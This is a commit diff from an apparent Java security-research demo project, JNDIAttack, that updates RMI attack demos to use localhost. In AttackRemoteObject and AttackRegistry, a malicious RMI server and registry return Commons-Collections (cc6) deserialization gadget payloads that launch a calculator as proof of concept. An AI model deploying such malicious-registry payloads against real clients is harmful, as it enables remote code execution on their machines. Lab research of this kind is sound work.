update rmi demo :)

Author: Whoopsunix

JNDIAttack/pom.xml

@@ -33,6 +33,7 @@
             <plugin>
                 <groupId>org.apache.maven.plugins</groupId>
                 <artifactId>maven-compiler-plugin</artifactId>
+                <version>3.8.1</version>
                 <configuration>
                     <source>8</source>
                     <target>8</target>

JNDIAttack/rmi.policy

@@ -0,0 +1,3 @@
+grant {
+    permission java.security.AllPermission;
+};

JNDIAttack/src/main/java/base/RMIClient.java

@@ -14,8 +14,8 @@ public static void main(String[] args) throws Exception {
 //        System.out.println(remoteObject.sayHello());
 
 //        // M2 Registry
-        Registry registry = LocateRegistry.getRegistry("192.168.66.143", 1099);
+        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
         RemoteInterface remoteObject2 = (RemoteInterface) registry.lookup("Hello");
-        System.out.println(remoteObject2.sayHello());
+        System.out.println(remoteObject2.sayHello(1));
     }
 }

JNDIAttack/src/main/java/base/RemoteInterface.java

@@ -10,4 +10,6 @@ public interface RemoteInterface extends Remote {
     public Calc sayHello() throws RemoteException;
 
     public String sayHello(Object name) throws RemoteException;
+
+    public int sayHello(int num) throws RemoteException;
 }

JNDIAttack/src/main/java/base/RemoteObject.java

@@ -21,4 +21,9 @@ public String sayHello(Object name) throws RemoteException {
         return name.getClass().getName();
     }
 
+    @Override
+    public int sayHello(int num) throws RemoteException {
+        return 0;
+    }
+
 }

JNDIAttack/src/main/java/base/RemoteServer.java

@@ -12,6 +12,6 @@ public static void main(String[] args) throws Exception{
         LocateRegistry.createRegistry(1099);
         RemoteInterface remoteObject = new RemoteObject();
 //        Naming.bind("rmi://127.0.0.1/Hello", remoteObject);
-        Naming.bind("rmi://192.168.66.143/Hello", remoteObject);
+        Naming.bind("rmi://127.0.0.1/Hello", remoteObject);
     }
 }

JNDIAttack/src/main/java/client/AttackRemoteObject.java

@@ -14,6 +14,6 @@ public AttackRemoteObject() throws RemoteException {
 
     @Override
     public Object sayHello() throws Exception {
-        return Serializer.cc6("calc");
+        return Serializer.cc6("open -a Calculator.app");
     }
 }

JNDIAttack/src/main/java/client/AttackRemoteServer.java

@@ -15,7 +15,7 @@ public static void main(String[] args) throws Exception{
         AttackRemoteInterface remoteObject = new AttackRemoteObject();
 
         // 这个地址是客户端要访问的地址
-        Naming.bind("rmi://192.168.66.143/xxx", remoteObject);
+        Naming.bind("rmi://127.0.0.1/xxx", remoteObject);
         System.out.println("Server Start");
 
     }

JNDIAttack/src/main/java/client/VulRMIClient.java

@@ -1,20 +1,24 @@
 package client;
 
 
+import java.rmi.registry.LocateRegistry;
+import java.rmi.registry.Registry;
+
 /**
  * @author Whoopsunix
  *
  */
 public class VulRMIClient {
     public static void main(String[] args) throws Exception {
         // M1 Naming
-        String url = "rmi://192.168.66.143:1099/xxx";
-        AttackRemoteInterface remoteObject = (AttackRemoteInterface) java.rmi.Naming.lookup(url);
-        System.out.println(remoteObject.sayHello());
+//        String url = "rmi://127.0.0.1:1099/xxx";
+//
+//        java.rmi.Naming.lookup(url);
+//        java.rmi.Naming.list(url);
 
 //        // M2 Registry
-//        Registry registry = LocateRegistry.getRegistry("192.168.66.143", 1099);
-//        AttackRemoteInterface remoteObject2 = (AttackRemoteInterface) registry.lookup("xxx");
+        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
+        AttackRemoteInterface remoteObject2 = (AttackRemoteInterface) registry.lookup("xxx");
 //        System.out.println(remoteObject2.sayHello());
 
     }

JNDIAttack/src/main/java/clientserver/AttackRegistry.java

@@ -30,8 +30,8 @@ public AttackRegistry(int port, Object payloadObject) throws NumberFormatExcepti
 
     public static final void main(String[] args) {
         try {
-//            Object annotationInvocationHandler = Serializer.cc6("open -a Calculator.app");
-            Object annotationInvocationHandler = Serializer.cc6("calc");
+            Object annotationInvocationHandler = Serializer.cc6("open -a Calculator.app");
+//            Object annotationInvocationHandler = Serializer.cc6("calc");
             int port = 1099;
 
             System.err.println("* Opening JRMP listener on " + port);